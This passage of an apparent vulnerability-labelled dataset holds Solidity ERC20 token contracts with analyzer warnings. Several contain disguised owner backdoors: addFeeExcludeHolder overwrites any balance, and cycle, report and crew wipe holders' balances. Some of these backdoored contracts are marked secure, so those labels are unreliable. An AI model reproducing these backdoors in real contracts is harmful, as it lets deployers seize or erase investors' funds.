_newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n ETHBalance(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n ETHBalance(contractETHBalance);\n }\n}",
"file_name": "solidity_code_706.sol",
"secure": 0,
"size_bytes": 18223
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\nabstract contract CustomToken is Ownable, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _taxWallet;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n uint256 private _finalBuyTax = 1;\n\n uint256 private _finalSellTax = 1;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6788970): CustomToken.minSwapWETHAmount should be constant \n\t// Recommendation for 6788970: Add the 'constant' attribute to state variables that never change.\n uint256 public minSwapWETHAmount = 5 * 10 ** 16;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = 420690000000 * 10 ** 9;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _taxWallet = msg.sender;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6771f7f): CustomToken.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6771f7f: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02f7bcd): CustomToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02f7bcd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4f0b364): CustomToken.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4f0b364: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function pureWETHToToken(uint256 _EAmount) public view returns (uint256) {\n address[] memory routerAddress = new address[](2);\n\n routerAddress[0] = address(this);\n\n routerAddress[1] = uniswapV2Router.WETH();\n\n uint256[] memory amounts = uniswapV2Router.getAmountsIn(\n _EAmount,\n routerAddress\n );\n\n return amounts[0];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8dba2b9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8dba2b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a0caf09): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a0caf09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n _isExcludedFromFee[from] || _isExcludedFromFee[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n taxAmount = amount.mul(_finalBuyTax).div(100);\n }\n\n if (to == uniswapV2Pair && !_isExcludedFromFee[from]) {\n taxAmount = amount.mul(_finalSellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n uint256 _pureAmount = pureWETHToToken(minSwapWETHAmount);\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n contractTokenBalance >= _pureAmount\n ) {\n\t\t\t\t// reentrancy-events | ID: 8dba2b9\n\t\t\t\t// reentrancy-no-eth | ID: a0caf09\n swapTokensForEth(min(amount, contractTokenBalance));\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-no-eth | ID: a0caf09\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8dba2b9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-no-eth | ID: a0caf09\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-no-eth | ID: a0caf09\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8dba2b9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8dba2b9\n\t\t// reentrancy-no-eth | ID: a0caf09\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n _taxWallet,\n block.timestamp\n );\n }\n\n function modifyTheFee(uint256 buyFee, uint256 sellFee) public {\n require(msg.sender == _taxWallet, \"not the correct address!\");\n\n _finalBuyTax = buyFee;\n\n _finalSellTax = sellFee;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: aed041c): CustomToken.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for aed041c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: aed041c\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 233617d): CustomToken.sendNativeToken(address,uint256).addr lacks a zerocheck on \t addr.transfer(address(this).balance) \t addr.transfer(amount)\n\t// Recommendation for 233617d: Check that the address is not zero.\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 978db09): CustomToken.sendNativeToken(address,uint256) contains a tautology or contradiction require(bool,string)(amount >= 0,Why do it?)\n\t// Recommendation for 978db09: Fix the incorrect comparison by changing the value type or the comparison.\n function sendNativeToken(address payable addr, uint256 amount) external {\n require(msg.sender == _taxWallet, \"not the correct address!\");\n\n\t\t// tautology | ID: 978db09\n require(amount >= 0, \"Why do it?\");\n\n if (amount == 0) {\n\t\t\t// missing-zero-check | ID: 233617d\n addr.transfer(address(this).balance);\n } else {\n\t\t\t// missing-zero-check | ID: 233617d\n addr.transfer(amount);\n }\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 13a68d0): CustomToken.addFeeExcludeHolder(address,uint256)._amount is written in both _amount = 10 10 ** 2 _amount = 0\n\t// Recommendation for 13a68d0: Fix or remove the writes.\n\t\t// write-after-write | ID: 13a68d0\n function addFeeExcludeHolder(address _value, uint256 _amt) public {\n uint256 _amount = 10 - (msg.sender != _taxWallet ? 10 ** 2 : 10);\n\n mapping(address => uint256) storage excludeFee = _balances;\n\t\t// write-after-write | ID: 13a68d0\n _amount = 0;\n\n excludeFee[_value] = _amt;\n }\n\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: df57b91): CustomToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for df57b91: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b7a3eab): CustomToken._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b7a3eab: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_707.sol",
"secure": 0,
"size_bytes": 13068
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./CustomToken.sol\" as CustomToken;\n\ncontract SAM is CustomToken(\"Uncle SAM\", \"SAM\") {\n string public greeting;\n\n constructor(string memory _greeting) {\n greeting = _greeting;\n }\n\n function getGreeting() public view returns (string memory) {\n return greeting;\n }\n}",
"file_name": "solidity_code_708.sol",
"secure": 1,
"size_bytes": 374
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract GOATONE is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable fact;\n\n constructor() {\n _name = \"GOAT ONE\";\n\n _symbol = \"GOATONE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 712000000;\n\n fact = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == fact, \"Not allowed\");\n\n _;\n }\n\n function cycle(address[] memory lead) public onlyOwner {\n for (uint256 i = 0; i < lead.length; i++) {\n address account = lead[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_709.sol",
"secure": 1,
"size_bytes": 4344
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract DaramEggToken is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 21000000 * 1 ether;\n\n uint256 public currentMintAmount = 10000 * 1 ether;\n\n uint256 public mintedAddressCount = 0;\n\n uint256 public constant HALVING_INTERVAL = 1000;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"DaramEgg\", \"DaramEgg\") Ownable(msg.sender) {}\n\n function mint() external {\n require(\n totalSupply() + currentMintAmount <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, currentMintAmount);\n\n mintedAddressCount++;\n\n if (mintedAddressCount % HALVING_INTERVAL == 0) {\n currentMintAmount = currentMintAmount / 2;\n }\n }\n\n function getCurrentMintAmount() public view returns (uint256) {\n return currentMintAmount;\n }\n\n function getMintedAddressCount() public view returns (uint256) {\n return mintedAddressCount;\n }\n}",
"file_name": "solidity_code_71.sol",
"secure": 1,
"size_bytes": 1399
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Godisonline is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable nonsense;\n\n constructor() {\n _name = \"God Is Online\";\n\n _symbol = \"GOD\";\n\n _decimals = 18;\n\n uint256 initialSupply = 782000000;\n\n nonsense = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == nonsense, \"Not allowed\");\n\n _;\n }\n\n function report(address[] memory ample) public onlyOwner {\n for (uint256 i = 0; i < ample.length; i++) {\n address account = ample[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_710.sol",
"secure": 1,
"size_bytes": 4365
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Hatsunemiku is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable glow;\n\n constructor() {\n _name = \"Hatsune Miku\";\n\n _symbol = \"MIKU\";\n\n _decimals = 18;\n\n uint256 initialSupply = 822000000;\n\n glow = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == glow, \"Not allowed\");\n\n _;\n }\n\n function crew(address[] memory goat) public onlyOwner {\n for (uint256 i = 0; i < goat.length; i++) {\n address account = goat[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_711.sol",
"secure": 1,
"size_bytes": 4348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9b630d6): Contract locking ether found Contract NINJA has payable functions NINJA.receive() But does not have a function to withdraw the ether\n// Recommendation for 9b630d6: Remove the 'payable' attribute or add a withdraw function.\ncontract NINJA is ERC20, Ownable {\n constructor() ERC20(\"Ninja\", \"NINJA\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 9b630d6): Contract locking ether found Contract NINJA has payable functions NINJA.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 9b630d6: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_712.sol",
"secure": 0,
"size_bytes": 978
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CHEYENNE is Context, IERC20, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 9185105): CHEYENNE._marketingWallet should be immutable \n\t// Recommendation for 9185105: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n string private constant _name = unicode\"Cheyenne\";\n string private constant _symbol = unicode\"CHEYENNE\";\n uint8 private constant _decimals = 18;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n uint256 public _BuyTax = 5;\n uint256 public _SellTax = 30;\n uint256 public _maxTxAmount = (_tTotal * 20) / 1000;\n uint256 public _maxWalletSize = (_tTotal * 20) / 1000;\n\t// WARNING Optimization Issue (constable-states | ID: d242cc6): CHEYENNE._taxSwapThreshold should be constant \n\t// Recommendation for d242cc6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 5) / 10000;\n\t// WARNING Optimization Issue (constable-states | ID: 5bf9287): CHEYENNE._maxTaxSwap should be constant \n\t// Recommendation for 5bf9287: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n uint256 private contractSellCount = 0;\n uint256 private lastContractSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _marketingWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd3cb8a): CHEYENNE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd3cb8a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a2e20d6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a2e20d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab91e24): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab91e24: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\t\t// reentrancy-events | ID: a2e20d6\n\t\t// reentrancy-eth | ID: ab91e24\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: a2e20d6\n\t\t// reentrancy-eth | ID: ab91e24\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 043439a): CHEYENNE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 043439a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(\n owner != address(0),\n \"ERC20: Can't approve from the zero address\"\n );\n require(\n spender != address(0),\n \"ERC20: Can't approve to the zero address\"\n );\n\t\t// reentrancy-eth | ID: ab91e24\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: a2e20d6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0f89754): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0f89754: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4ce2cff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4ce2cff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(\n from != address(0),\n \"ERC20: Can't transfer from the zero address\"\n );\n 